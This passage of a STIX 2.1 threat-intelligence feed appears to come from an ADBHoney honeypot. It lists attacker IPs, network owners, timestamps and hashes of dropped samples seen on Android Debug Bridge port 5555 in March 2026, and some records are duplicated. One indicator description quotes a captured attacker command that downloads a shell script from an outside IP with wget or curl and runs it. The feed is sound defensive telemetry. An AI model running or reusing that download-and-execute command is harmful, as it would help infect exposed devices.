      "confidence": 60,
      "external_references": [
        {
          "source_name": "NadSec",
          "description": "Enriched from T-Pot CE Elasticsearch telemetry (ADBHoney)."
        }
      ],
      "extensions": {
        "x_nadsec": {
          "sensor": "adbhoney",
          "month": "2026-03",
          "event_count": 14,
          "first_seen": "2026-03-22T04:42:19.000Z",
          "last_seen": "2026-03-22T04:52:37.445Z",
          "ports": [
            "5555"
          ],
          "countries": [
            "US"
          ],
          "asn": [
            "14061"
          ],
          "org": [
            "DigitalOcean, LLC"
          ]
        }
      },
      "created_by_ref": "identity--3c2b9b51-4a74-4d8f-a6c2-7f4c5a3d0b7a",
      "object_marking_refs": [
        "marking-definition--b2b1c6e8-9c3d-4b3a-8a7c-7e3f3f1a8a22"
      ]
    },
    {
      "created": "2026-03-22T05:00:04.000Z",
      "description": "Attacker IP \u2022 ADB / seen in ADBHoney; events=15; ports=5555; cc=US; asn=64236; asn_org=UnReal Servers, LLC; adb_cmd_hits=3; cmd=\"cd /data/local/tmp/; busybox wget http://45.92.29.70/dd.sh; sh dd.sh; curl http://45.92.29.70/dd.sh; sh dd.sh; wget http://45.92.29.70/dd.sh; sh dd.sh; curl htt\"\n\nObserved in ADBHoney telemetry for 2026-03. events=114 | first_seen=2026-03-22T04:08:43.000Z | last_seen=2026-03-28T21:04:53.732Z | ports=5555 | cc=US | asn=64236 | org=UnReal Servers, LLC",
      "id": "indicator--c56ab68e-7c41-430b-841e-228999f70736",
      "labels": [
        "malware_hosting",
        "nadsec",
        "tpot",
        "adbhoney",
        "android",
        "iot"
      ],
      "modified": "2026-03-31T23:37:39Z",
      "name": "OTX pulse_name=ADBHoney \u2192 Attacker IPs \u2013 Australia \u2013 March 2026",
      "pattern": "[ipv4-addr:value = '45.92.29.70']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-03-22T05:00:04.000Z",
      "valid_until": "2026-04-23T05:00:02.000Z",
      "indicator_types": [
        "malicious-activity"
      ],
      "confidence": 80,
      "external_references": [
        {
          "source_name": "NadSec",
          "description": "Enriched from T-Pot CE Elasticsearch telemetry (ADBHoney)."
        }
      ],
      "extensions": {
        "x_nadsec": {
          "sensor": "adbhoney",
          "month": "2026-03",
          "event_count": 114,
          "first_seen": "2026-03-22T04:08:43.000Z",
          "last_seen": "2026-03-28T21:04:53.732Z",
          "ports": [
            "5555"
          ],
          "countries": [
            "US"
          ],
          "asn": [
            "64236"
          ],
          "org": [
            "UnReal Servers, LLC"
          ]
        }
      },
      "created_by_ref": "identity--3c2b9b51-4a74-4d8f-a6c2-7f4c5a3d0b7a",
      "object_marking_refs": [
        "marking-definition--b2b1c6e8-9c3d-4b3a-8a7c-7e3f3f1a8a22"
      ]
    },
    {
      "created": "2026-03-22T05:00:04.000Z",
      "description": "ADB dropper sample / Captured within last 1h by ADBHoney; outfile=dl/70a66f8b7bfdadb54f662e742b3568157fee436fffcb51e542c0c4ddd3053a28.raw; last_seen=2026-03-22T04:08:48.717Z",
      "id": "indicator--5c54b661-80d6-472a-aa7d-c6fdbbeefb4e",
      "labels": [
        "nadsec",
        "tpot",
        "adbhoney",
        "dropper",
        "sample",
        "sha256"
      ],
      "modified": "2026-03-31T23:37:39Z",
      "name": "OTX pulse_name=ADBHoney \u2192 Attacker IPs \u2013 Australia \u2013 March 2026",
      "pattern": "[file:hashes.'SHA-256' = '70a66f8b7bfdadb54f662e742b3568157fee436fffcb51e542c0c4ddd3053a28']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-03-22T05:00:04.000Z",
      "indicator_types": [
        "malicious-activity"
      ],
      "confidence": 70,
      "valid_until": "",
      "external_references": [
        {
          "source_name": "NadSec",
          "description": "Hash observed as dropped sample via ADBHoney (outfile-derived)."
        }
      ],
      "extensions": {
        "x_nadsec": {
          "sensor": "adbhoney",
          "month": "2026-03"
        }
      },
      "created_by_ref": "identity--3c2b9b51-4a74-4d8f-a6c2-7f4c5a3d0b7a",
      "object_marking_refs": [
        "marking-definition--b2b1c6e8-9c3d-4b3a-8a7c-7e3f3f1a8a22"
      ]
    },
    {
      "created": "2026-03-22T06:00:03.000Z",
      "description": "Attacker IP \u2022 ADB / seen in ADBHoney; events=24; ports=5555; cc=KR; asn=4766; asn_org=Korea Telecom; adb_cmd_hits=0\n\nObserved in ADBHoney telemetry for 2026-03. events=24 | first_seen=2026-03-22T05:32:00.000Z | last_seen=2026-03-22T05:47:46.883Z | ports=5555 | cc=KR | asn=4766 | org=Korea Telecom",
      "id": "indicator--2ee971bf-e65f-4e68-ac09-ee9ab966dc0f",
      "labels": [
        "scanning_host",
        "nadsec",
        "tpot",
        "adbhoney",
        "android",
        "iot"
      ],
      "modified": "2026-03-31T23:37:39Z",
      "name": "OTX pulse_name=ADBHoney \u2192 Attacker IPs \u2013 Australia \u2013 March 2026",
      "pattern": "[ipv4-addr:value = '121.167.241.72']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-03-22T06:00:03.000Z",
      "valid_until": "2026-04-23T06:00:02.000Z",
      "indicator_types": [
        "malicious-activity"
      ],
      "confidence": 60,
      "external_references": [
        {
          "source_name": "NadSec",
          "description": "Enriched from T-Pot CE Elasticsearch telemetry (ADBHoney)."
        }
      ],
      "extensions": {
        "x_nadsec": {
          "sensor": "adbhoney",
          "month": "2026-03",
          "event_count": 24,
          "first_seen": "2026-03-22T05:32:00.000Z",
          "last_seen": "2026-03-22T05:47:46.883Z",
          "ports": [
            "5555"
          ],
          "countries": [
            "KR"
          ],
          "asn": [
            "4766"
          ],
          "org": [
            "Korea Telecom"
          ]
        }
      },
      "created_by_ref": "identity--3c2b9b51-4a74-4d8f-a6c2-7f4c5a3d0b7a",
      "object_marking_refs": [
        "marking-definition--b2b1c6e8-9c3d-4b3a-8a7c-7e3f3f1a8a22"
      ]
    },
    {
      "created": "2026-03-22T07:00:03.000Z",
      "description": "Attacker IP \u2022 ADB / seen in ADBHoney; events=4; ports=5555; cc=US; asn=6939; asn_org=Hurricane Electric LLC; adb_cmd_hits=0\n\nObserved in ADBHoney telemetry for 2026-03. events=4 | first_seen=2026-03-22T06:08:47.000Z | last_seen=2026-03-22T06:09:48.021Z | ports=5555 | cc=US | asn=6939 | org=Hurricane Electric LLC",
      "id": "indicator--a919727a-d264-4599-b880-e4689f3f4d64",
      "labels": [
        "scanning_host",
        "nadsec",
        "tpot",
        "adbhoney",
        "android",
        "iot"
      ],
      "modified": "2026-03-31T23:37:39Z",
      "name": "OTX pulse_name=ADBHoney \u2192 Attacker IPs \u2013 Australia \u2013 March 2026",
      "pattern": "[ipv4-addr:value = '64.62.197.50']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-03-22T07:00:03.000Z",
      "valid_until": "2026-04-23T07:00:02.000Z",
      "indicator_types": [
        "malicious-activity"
      ],
      "confidence": 40,
      "external_references": [
        {
          "source_name": "NadSec",
          "description": "Enriched from T-Pot CE Elasticsearch telemetry (ADBHoney)."
        }
      ],
      "extensions": {
        "x_nadsec": {
          "sensor": "adbhoney",
          "month": "2026-03",
          "event_count": 4,
          "first_seen": "2026-03-22T06:08:47.000Z",
          "last_seen": "2026-03-22T06:09:48.021Z",
          "ports": [
            "5555"
          ],
          "countries": [
            "US"
          ],
          "asn": [
            "6939"
          ],
          "org": [
            "Hurricane Electric LLC"
          ]
        }
      },
      "created_by_ref": "identity--3c2b9b51-4a74-4d8f-a6c2-7f4c5a3d0b7a",
      "object_marking_refs": [
        "marking-definition--b2b1c6e8-9c3d-4b3a-8a7c-7e3f3f1a8a22"
      ]
    },
    {
      "created": "2026-03-22T07:00:04.000Z",
      "description": "Attacker IP \u2022 ADB / seen in ADBHoney; events=4; ports=5555; cc=US; asn=6939; asn_org=Hurricane Electric LLC; adb_cmd_hits=0\n\nObserved in ADBHoney telemetry for 2026-03. events=4 | first_seen=2026-03-22T06:08:47.000Z | last_seen=2026-03-22T06:09:48.021Z | ports=5555 | cc=US | asn=6939 | org=Hurricane Electric LLC",
      "id": "indicator--a919727a-d264-4599-b880-e4689f3f4d64",
      "labels": [
        "scanning_host",
        "nadsec",
        "tpot",
        "adbhoney",
        "android",
        "iot"
      ],
      "modified": "2026-03-31T23:37:39Z",
      "name": "OTX pulse_name=ADBHoney \u2192 Attacker IPs \u2013 Australia \u2013 March 2026",
      "pattern": "[ipv4-addr:value = '64.62.197.50']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-03-22T07:00:04.000Z",
      "valid_until": "2026-04-23T07:00:02.000Z",
      "indicator_types": [
        "malicious-activity"
      ],
      "confidence": 40,
      "external_references": [
        {
          "source_name": "NadSec",
          "description": "Enriched from T-Pot CE Elasticsearch telemetry (ADBHoney)."
        }
      ],
      "extensions": {
        "x_nadsec": {
          "sensor": "adbhoney",
          "month": "2026-03",
          "event_count": 4,
          "first_seen": "2026-03-22T06:08:47.000Z",
          "last_seen": "2026-03-22T06:09:48.021Z",
          "ports": [
            "5555"
          ],
          "countries": [
            "US"
          ],
          "asn": [
            "6939"
          ],
          "org": [
            "Hurricane Electric LLC"
          ]
        }
      },
      "created_by_ref": "identity--3c2b9b51-4a74-4d8f-a6c2-7f4c5a3d0b7a",
      "object_marking_refs": [
        "marking-definition--b2b1c6e8-9c3d-4b3a-8a7c-7e3f3f1a8a22"
      ]
    },
    {
      "created": "2026-03-22T10:00:03.000Z",
      "description": "Attacker IP \u2022 ADB / seen in ADBHoney; events=5; ports=5555; cc=CN; asn=24400; asn_org=Shanghai Mobile Communications Co.,Ltd.; adb_cmd_hits=0\n\nObserved in ADBHoney telemetry for 2026-03. events=5 | first_seen=2026-03-22T09:45:36.000Z | last_seen=2026-03-22T09:46:55.230Z | ports=5555 | cc=CN | asn=24400 | org=Shanghai Mobile Communications Co.,Ltd.",
      "id": "indicator--3c28619f-69af-4540-babd-18df57950043",
      "labels": [
        "scanning_host",
        "nadsec",
        "tpot",
        "adbhoney",
        "android",
        "iot"
      ],
      "modified": "2026-03-31T23:37:39Z",
      "name": "OTX pulse_name=ADBHoney \u2192 Attacker IPs \u2013 Australia \u2013 March 2026",
      "pattern": "[ipv4-addr:value = '183.195.99.100']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-03-22T10:00:03.000Z",
      "valid_until": "2026-04-23T10:00:02.000Z",
      "indicator_types": [
        "malicious-activity"
      ],
      "confidence": 60,
      "external_references": [
        {
          "source_name": "NadSec",
          "description": "Enriched from T-Pot CE Elasticsearch telemetry (ADBHoney)."
        }
      ],
      "extensions": {
        "x_nadsec": {
          "sensor": "adbhoney",
          "month": "2026-03",
          "event_count": 5,
          "first_seen": "2026-03-22T09:45:36.000Z",
          "last_seen": "2026-03-22T09:46:55.230Z",
          "ports": [
            "5555"
          ],
          "countries": [
            "CN"
          ],
          "asn": [
            "24400"
          ],
          "org": [
            "Shanghai Mobile Communications Co.,Ltd."
          ]
        }
      },
      "created_by_ref": "identity--3c2b9b51-4a74-4d8f-a6c2-7f4c5a3d0b7a",
      "object_marking_refs": [
        "marking-definition--b2b1c6e8-9c3d-4b3a-8a7c-7e3f3f1a8a22"
      ]
    },
    {
      "created": "2026-03-22T10:00:09.000Z",
      "description": "Attacker IP \u2022 ADB / seen in ADBHoney; events=5; ports=5555; cc=CN; asn=24400; asn_org=Shanghai Mobile Communications Co.,Ltd.; adb_cmd_hits=0\n\nObserved in ADBHoney telemetry for 2026-03. events=5 | first_seen=2026-03-22T09:45:36.000Z | last_seen=2026-03-22T09:46:55.230Z | ports=5555 | cc=CN | asn=24400 | org=Shanghai Mobile Communications Co.,Ltd.",
      "id": "indicator--3c28619f-69af-4540-babd-18df57950043",
      "labels": [
        "scanning_host",
        "nadsec",
        "tpot",
        "adbhoney",
        "android",
        "iot"
      ],
      "modified": "2026-03-31T23:37:39Z",
      "name": "OTX pulse_name=ADBHoney \u2192 Attacker IPs \u2013 Australia \u2013 March 2026",
      "pattern": "[ipv4-addr:value = '183.195.99.100']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-03-22T10:00:09.000Z",
      "valid_until": "2026-04-23T10:00:02.000Z",
      "indicator_types": [
        "malicious-activity"
      ],
      "confidence": 60,
      "external_references": [
        {
          "source_name": "NadSec",
          "description": "Enriched from T-Pot CE Elasticsearch telemetry (ADBHoney)."
        }
      ],
      "extensions": {
        "x_nadsec": {
          "sensor": "adbhoney",
          "month": "2026-03",
          "event_count": 5,
          "first_seen": "2026-03-22T09:45:36.000Z",
          "last_seen": "2026-03-22T09:46:55.230Z",
          "ports": [
            "5555"
          ],
          "countries": [
            "CN"
          ],
          "asn": [
            "24400"
          ],
          "org": [
            "Shanghai Mobile Communications Co.,Ltd."
          ]
        }
      },
      "created_by_ref": "identity--3c2b9b51-4a74-4d8f-a6c2-7f4c5a3d0b7a",
      "object_marking_refs": [
        "marking-definition--b2b1c6e8-9c3d-4b3a-8a7c-7e3f3f1a8a22"
      ]
    },
    {
      "created": "2026-03-22T11:00:02.000Z",
      "description": "Attacker IP \u2022 ADB / seen in ADBHoney; events=14; ports=5555; cc=TW; asn=3462; asn_org=Data Communication Business Group; adb_cmd_hits=0\n\nObserved in ADBHoney telemetry for 2026-03. events=14 | first_seen=2026-03-22T10:10:26.000Z | last_seen=2026-03-22T10:20:35.761Z | ports=5555 | cc=TW | asn=3462 | org=Data Communication Business Group",
      "id": "indicator--48b455c5-7b60-4a89-9a4f-3cbbbe4b0a71",
      "labels": [
        "scanning_host",
        "nadsec",
        "tpot",
        "adbhoney",
        "android",
        "iot"
      ],
      "modified": "2026-03-31T23:37:39Z",
      "name": "OTX pulse_name=ADBHoney \u2192 Attacker IPs \u2013 Australia \u2013 March 2026",
      "pattern": "[ipv4-addr:value = '111.246.100.121']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-03-22T11:00:02.000Z",
      "valid_until": "2026-04-23T11:00:01.000Z",
      "indicator_types": [
        "malicious-activity"
      ],
      "confidence": 60,
      "external_references": [
        {
          "source_name": "NadSec",
          "description": "Enriched from T-Pot CE Elasticsearch telemetry (ADBHoney)."
        }
      ],
      "extensions": {
        "x_nadsec": {
          "sensor": "adbhoney",
          "month": "2026-03",
          "event_count": 14,
          "first_seen": "2026-03-22T10:10:26.000Z",
          "last_seen": "2026-03-22T10:20:35.761Z",
          "ports": [
            "5555"
          ],
          "countries": [
            "TW"
          ],
          "asn": [
            "3462"
          ],
          "org": [
            "Data Communication Business Group"
          ]
        }
      },
      "created_by_ref": "identity--3c2b9b51-4a74-4d8f-a6c2-7f4c5a3d0b7a",
      "object_marking_refs": [
        "marking-definition--b2b1c6e8-9c3d-4b3a-8a7c-7e3f3f1a8a22"
      ]
    },
    {
      "created": "2026-03-22T11:00:03.000Z",
      "description": "Attacker IP \u2022 ADB / seen in ADBHoney; events=14; ports=5555; cc=TW; asn=3462; asn_org=Data Communication Business Group; adb_cmd_hits=0\n\nObserved in ADBHoney telemetry for 2026-03. events=14 | first_seen=2026-03-22T10:10:26.000Z | last_seen=2026-03-22T10:20:35.761Z | ports=5555 | cc=TW | asn=3462 | org=Data Communication Business Group",
      "id": "indicator--48b455c5-7b60-4a89-9a4f-3cbbbe4b0a71",
      "labels": [
        "scanning_host",
        "nadsec",
        "tpot",
        "adbhoney",
        "android",
        "iot"
      ],
      "modified": "2026-03-31T23:37:39Z",
      "name": "OTX pulse_name=ADBHoney \u2192 Attacker IPs \u2013 Australia \u2013 March 2026",
      "pattern": "[ipv4-addr:value = '111.246.100.121']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-03-22T11:00:03.000Z",
      "valid_until": "2026-04-23T11:00:01.000Z",
      "indicator_types": [
        "malicious-activity"
      ],
      "confidence": 60,
      "external_references": [
        {
          "source_name": "NadSec",
          "description": "Enriched from T-Pot CE Elasticsearch telemetry (ADBHoney)."
        }
      ],
      "extensions": {
        "x_nadsec": {
          "sensor": "adbhoney",
          "month": "2026-03",
          "event_count": 14,
          "first_seen": "2026-03-22T10:10:26.000Z",
          "last_seen": "2026-03-22T10:20:35.761Z",
          "ports": [
            "5555"
          ],
          "countries": [
            "TW"
          ],
          "asn": [
            "3462"
          ],
          "org": [
            "Data Communication Business Group"
          ]
        }
      },
      "created_by_ref": "identity--3c2b9b51-4a74-4d8f-a6c2-7f4c5a3d0b7a",
      "object_marking_refs": [
        "marking-definition--b2b1c6e8-9c3d-4b3a-8a7c-7e3f3f1a8a22"
      ]
    },
    {
      "created": "2026-03-22T13:00:02.000Z",
      "description": "ADB dropper sample / Captured within last 1h by ADBHoney; outfile=dl/55ee5a55574996fae12ad20862feecb0472ad6ffb1c72170575fee2977decbca.raw; last_seen=2026-03-22T12:06:48.476Z",
      "id": "indicator--d7e2388a-3bc9-4e8a-8dc1-9fa3a8683394",
      "labels": [
        "nadsec",
        "tpot",
        "adbhoney",
        "dropper",
        "sample",
        "sha256"
      ],
      "modified": "2026-03-31T23:37:39Z",
      "name": "OTX pulse_name=ADBHoney \u2192 Attacker IPs \u2013 Australia \u2013 March 2026",
      "pattern": "[file:hashes.'SHA-256' = '55ee5a55574996fae12ad20862feecb0472ad6ffb1c72170575fee2977decbca']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-03-22T13:00:02.000Z",
      "indicator_types": [
        "malicious-activity"
      ],
      "confidence": 70,
      "valid_until": "",
      "external_references": [
        {
          "source_name": "NadSec",
          "description": "Hash observed as dropped sample via ADBHoney (outfile-derived)."
        }
      ],
      "extensions": {
        "x_nadsec": {
          "sensor": "adbhoney",
          "month": "2026-03"
        }
      },
      "created_by_ref": "identity--3c2b9b51-4a74-4d8f-a6c2-7f4c5a3d0b7a",
      "object_marking_refs": [
        "marking-definition--b2b1c6e8-9c3d-4b3a-8a7c-7e3f3f1a8a22"
      ]
    },
    {
      "created": "2026-03-22T13:00:02.000Z",
      "description": "ADB dropper sample / Captured within last 1h by ADBHoney; outfile=dl/55ee5a55574996fae12ad20862feecb0472ad6ffb1c72170575fee2977decbca.raw; last_seen=2026-03-22T12:06:48.476Z",
      "id": "indicator--d7e2388a-3bc9-4e8a-8dc1-9fa3a8683394",
      "labels": [
        "nadsec",
        "tpot",
        "adbhoney",
        "dropper",
        "sample",
        "sha256"
      ],
      "modified": "2026-03-31T23:37:39Z",
      "name": "OTX pulse_name=ADBHoney \u2192 Attacker IPs \u2013 Australia \u2013 March 2026",
      "pattern": "[file:hashes.'SHA-256' = '55ee5a55574996fae12ad20862feecb0472ad6ffb1c72170575fee2977decbca']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-03-22T13:00:02.000Z",
      "indicator_types": [
        "malicious-activity"
      ],
      "confidence": 70,
      "valid_until": "",
      "external_references": [
        {
          "source_name": "NadSec",
          "description": "Hash observed as dropped sample via ADBHoney (outfile-derived)."
        }
      ],
      "extensions": {
        "x_nadsec": {
          "sensor": "adbhoney",
          "month": "2026-03"
        }
      },
      "created_by_ref": "identity--3c2b9b51-4a74-4d8f-a6c2-7f4c5a3d0b7a",
      "object_marking_refs": [
        "marking-definition--b2b1c6e8-9c3d-4b3a-8a7c-7e3f3f1a8a22"
      ]
    },
    {
      "created": "2026-03-22T14:00:02.000Z",
      "description": "Attacker IP \u2022 ADB / seen in ADBHoney; events=8; ports=5555; cc=US; asn=398324; asn_org=Censys, Inc.; adb_cmd_hits=0\n\nObserved in ADBHoney telemetry for 2026-03. events=8 | first_seen=2026-03-22T13:32:00.000Z | last_seen=2026-03-22T13:33:17.733Z | ports=5555 | cc=US | asn=398324 | org=Censys, Inc.",
      "id": "indicator--dca1f7d8-4c40-4de5-897f-0bc77c55e931",
      "labels": [
        "scanning_host",
        "nadsec",
        "tpot",
        "adbhoney",
        "android",
        "iot"
      ],
      "modified": "2026-03-31T23:37:39Z",
      "name": "OTX pulse_name=ADBHoney \u2192 Attacker IPs \u2013 Australia \u2013 March 2026",
      "pattern": "[ipv4-addr:value = '162.142.125.120']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-03-22T14:00:02.000Z",
      "valid_until": "2026-04-23T14:00:01.000Z",
      "indicator_types": [
        "malicious-activity"
      ],
      "confidence": 60,
      "external_references": [
        {
          "source_name": "NadSec",
          "description": "Enriched from T-Pot CE Elasticsearch telemetry (ADBHoney)."
        }
      ],
      "extensions": {
        "x_nadsec": {
          "sensor": "adbhoney",
          "month": "2026-03",
          "event_count": 8,
          "first_seen": "2026-03-22T13:32:00.000Z",
          "last_seen": "2026-03-22T13:33:17.733Z",
          "ports": [
            "5555"
          ],
          "countries": [
            "US"
          ],
          "asn": [
            "398324"
          ],
          "org": [
            "Censys, Inc."
          ]
        }
      },
      "created_by_ref": "identity--3c2b9b51-4a74-4d8f-a6c2-7f4c5a3d0b7a",
      "object_marking_refs": [
        "marking-definition--b2b1c6e8-9c3d-4b3a-8a7c-7e3f3f1a8a22"
      ]
    },
    {
      "created": "2026-03-22T14:00:02.000Z",
      "description": "Attacker IP \u2022 ADB / seen in ADBHoney; events=106; ports=5555; cc=US; asn=135377; asn_org=UCLOUD INFORMATION TECHNOLOGY HK LIMITED; adb_cmd_hits=0\n\nObserved in ADBHoney telemetry for 2026-03. events=106 | first_seen=2026-03-22T13:18:31.000Z | last_seen=2026-03-22T13:46:36.932Z | ports=5555 | cc=US | asn=135377 | org=UCLOUD INFORMATION TECHNOLOGY HK LIMITED",
      "id": "indicator--388a2a48-fffd-4c99-acab-dd06ecd412e4",
      "labels": [
        "scanning_host",
        "nadsec",
        "tpot",
        "adbhoney",
        "android",
        "iot"
      ],
      "modified": "2026-03-31T23:37:39Z",
      "name": "OTX pulse_name=ADBHoney \u2192 Attacker IPs \u2013 Australia \u2013 March 2026",
      "pattern": "[ipv4-addr:value = '165.154.36.177']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-03-22T14:00:02.000Z",
      "valid_until": "2026-04-23T14:00:01.000Z",
      "indicator_types": [
        "malicious-activity"
      ],
      "confidence": 80,
      "external_references": [
        {
          "source_name": "NadSec",
          "description": "Enriched from T-Pot CE Elasticsearch telemetry (ADBHoney)."
        }
      ],
      "extensions": {
        "x_nadsec": {
          "sensor": "adbhoney",
          "month": "2026-03",
          "event_count": 106,
          "first_seen": "2026-03-22T13:18:31.000Z",
          "last_seen": "2026-03-22T13:46:36.932Z",
          "ports": [
            "5555"
          ],
          "countries": [
            "US"
          ],
          "asn": [
            "135377"
          ],
          "org": [
            "UCLOUD INFORMATION TECHNOLOGY HK LIMITED"
          ]
        }
      },
      "created_by_ref": "identity--3c2b9b51-4a74-4d8f-a6c2-7f4c5a3d0b7a",
      "object_marking_refs": [
        "marking-definition--b2b1c6e8-9c3d-4b3a-8a7c-7e3f3f1a8a22"
      ]
    },
    {
      "created": "2026-03-22T14:00:02.000Z",
      "description": "Attacker IP \u2022 ADB / seen in ADBHoney; events=4; ports=5555; cc=CN; asn=56040; asn_org=China Mobile communications corporation; cats=Generic Protocol Command Decode; adb_cmd_hits=0\n\nObserved in ADBHoney telemetry for 2026-03. events=4 | first_seen=2026-03-22T13:47:53.000Z | last_seen=2026-03-22T13:48:58.250Z | ports=5555 | cc=CN | asn=56040 | org=China Mobile communications corporation",
      "id": "indicator--7dcb0a8a-f501-467e-b1cf-9432cbbe148c",
      "labels": [
        "scanning_host",
        "nadsec",
        "tpot",
        "adbhoney",
        "android",
        "iot"
      ],
      "modified": "2026-03-31T23:37:39Z",
      "name": "OTX pulse_name=ADBHoney \u2192 Attacker IPs \u2013 Australia \u2013 March 2026",
      "pattern": "[ipv4-addr:value = '39.144.14.239']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-03-22T14:00:02.000Z",
      "valid_until": "2026-04-23T14:00:01.000Z",
      "indicator_types": [
        "malicious-activity"
      ],
      "confidence": 40,
      "external_references": [
        {
          "source_name": "NadSec",
          "description": "Enriched from T-Pot CE Elasticsearch telemetry (ADBHoney)."
        }
      ],
      "extensions": {
        "x_nadsec": {
          "sensor": "adbhoney",
          "month": "2026-03",
          "event_count": 4,
          "first_seen": "2026-03-22T13:47:53.000Z",
          "last_seen": "2026-03-22T13:48:58.250Z",
          "ports": [
            "5555"
          ],
          "countries": [
            "CN"
          ],
          "asn": [
            "56040"
          ],
          "org": [
            "China Mobile communications corporation"
          ]
        }
      },
      "created_by_ref": "identity--3c2b9b51-4a74-4d8f-a6c2-7f4c5a3d0b7a",
      "object_marking_refs": [
        "marking-definition--b2b1c6e8-9c3d-4b3a-8a7c-7e3f3f1a8a22"
      ]
    },
    {
      "created": "2026-03-22T14:00:02.000Z",
      "description": "Attacker IP \u2022 ADB / seen in ADBHoney; events=4; ports=5555; cc=GB; asn=60592; asn_org=Gransy s.r.o.; adb_cmd_hits=0\n\nObserved in ADBHoney telemetry for 2026-03. events=4 | first_seen=2026-03-22T13:11:08.000Z | last_seen=2026-03-22T13:12:14.934Z | ports=5555 | cc=GB | asn=60592 | org=Gransy s.r.o.",
      "id": "indicator--a088894c-ffb8-4206-9a86-3909064e4b7f",
      "labels": [
        "scanning_host",
        "nadsec",
        "tpot",
        "adbhoney",
        "android",
        "iot"
      ],
      "modified": "2026-03-31T23:37:39Z",
      "name": "OTX pulse_name=ADBHoney \u2192 Attacker IPs \u2013 Australia \u2013 March 2026",
      "pattern": "[ipv4-addr:value = '46.175.135.6']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-03-22T14:00:02.000Z",
      "valid_until": "2026-04-23T14:00:01.000Z",
      "indicator_types": [
        "malicious-activity"
      ],
      "confidence": 40,
      "external_references": [
        {
          "source_name": "NadSec",
          "description": "Enriched from T-Pot CE Elasticsearch telemetry (ADBHoney)."
        }
      ],
      "extensions": {
        "x_nadsec": {
          "sensor": "adbhoney",
          "month": "2026-03",
          "event_count": 4,
          "first_seen": "2026-03-22T13:11:08.000Z",
          "last_seen": "2026-03-22T13:12:14.934Z",
          "ports": [
            "5555"
          ],
          "countries": [
            "GB"
          ],
          "asn": [
            "60592"
          ],
          "org": [
            "Gransy s.r.o."
          ]
        }
      },
      "created_by_ref": "identity--3c2b9b51-4a74-4d8f-a6c2-7f4c5a3d0b7a",
      "object_marking_refs": [
        "marking-definition--b2b1c6e8-9c3d-4b3a-8a7c-7e3f3f1a8a22"
      ]
    },
    {
      "created": "2026-03-22T14:00:02.000Z",
      "description": "Attacker IP \u2022 ADB / seen in ADBHoney; events=8; ports=5555; cc=US; asn=398324; asn_org=Censys, Inc.; adb_cmd_hits=0\n\nObserved in ADBHoney telemetry for 2026-03. events=8 | first_seen=2026-03-22T13:32:00.000Z | last_seen=2026-03-22T13:33:17.733Z | ports=5555 | cc=US | asn=398324 | org=Censys, Inc.",
      "id": "indicator--dca1f7d8-4c40-4de5-897f-0bc77c55e931",
      "labels": [
        "scanning_host",
        "nadsec",
        "tpot",
        "adbhoney",
        "android",
        "iot"
      ],
      "modified": "2026-03-31T23:37:39Z",
      "name": "OTX pulse_name=ADBHoney \u2192 Attacker IPs \u2013 Australia \u2013 March 2026",
      "pattern": "[ipv4-addr:value = '162.142.125.120']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-03-22T14:00:02.000Z",
      "valid_until": "2026-04-23T14:00:01.000Z",
      "indicator_types": [
        "malicious-activity"
      ],
      "confidence": 60,
      "external_references": [
        {
          "source_name": "NadSec",
          "description": "Enriched from T-Pot CE Elasticsearch telemetry (ADBHoney)."
        }
      ],
      "extensions": {
        "x_nadsec": {
          "sensor": "adbhoney",
          "month": "2026-03",
          "event_count": 8,
          "first_seen": "2026-03-22T13:32:00.000Z",
          "last_seen": "2026-03-22T13:33:17.733Z",
          "ports": [
            "5555"
          ],
          "countries": [
            "US"
          ],
          "asn": [
            "398324"
          ],
          "org": [
            "Censys, Inc."
          ]
        }
      },
      "created_by_ref": "identity--3c2b9b51-4a74-4d8f-a6c2-7f4c5a3d0b7a",
      "object_marking_refs": [
        "marking-definition--b2b1c6e8-9c3d-4b3a-8a7c-7e3f3f1a8a22"
      ]
    },
    {
      "created": "2026-03-22T14:00:02.000Z",
      "description": "Attacker IP \u2022 ADB / seen in ADBHoney; events=106; ports=5555; cc=US; asn=135377; asn_org=UCLOUD INFORMATION TECHNOLOGY HK LIMITED; adb_cmd_hits=0\n\nObserved in ADBHoney telemetry for 2026-03. events=106 | first_seen=2026-03-22T13:18:31.000Z | last_seen=2026-03-22T13:46:36.932Z | ports=5555 | cc=US | asn=135377 | org=UCLOUD INFORMATION TECHNOLOGY HK LIMITED",
      "id": "indicator--388a2a48-fffd-4c99-acab-dd06ecd412e4",
      "labels": [
        "scanning_host",
        "nadsec",
        "tpot",
        "adbhoney",
        "android",
        "iot"
      ],
      "modified": "2026-03-31T23:37:39Z",
      "name": "OTX pulse_name=ADBHoney \u2192 Attacker IPs \u2013 Australia \u2013 March 2026",
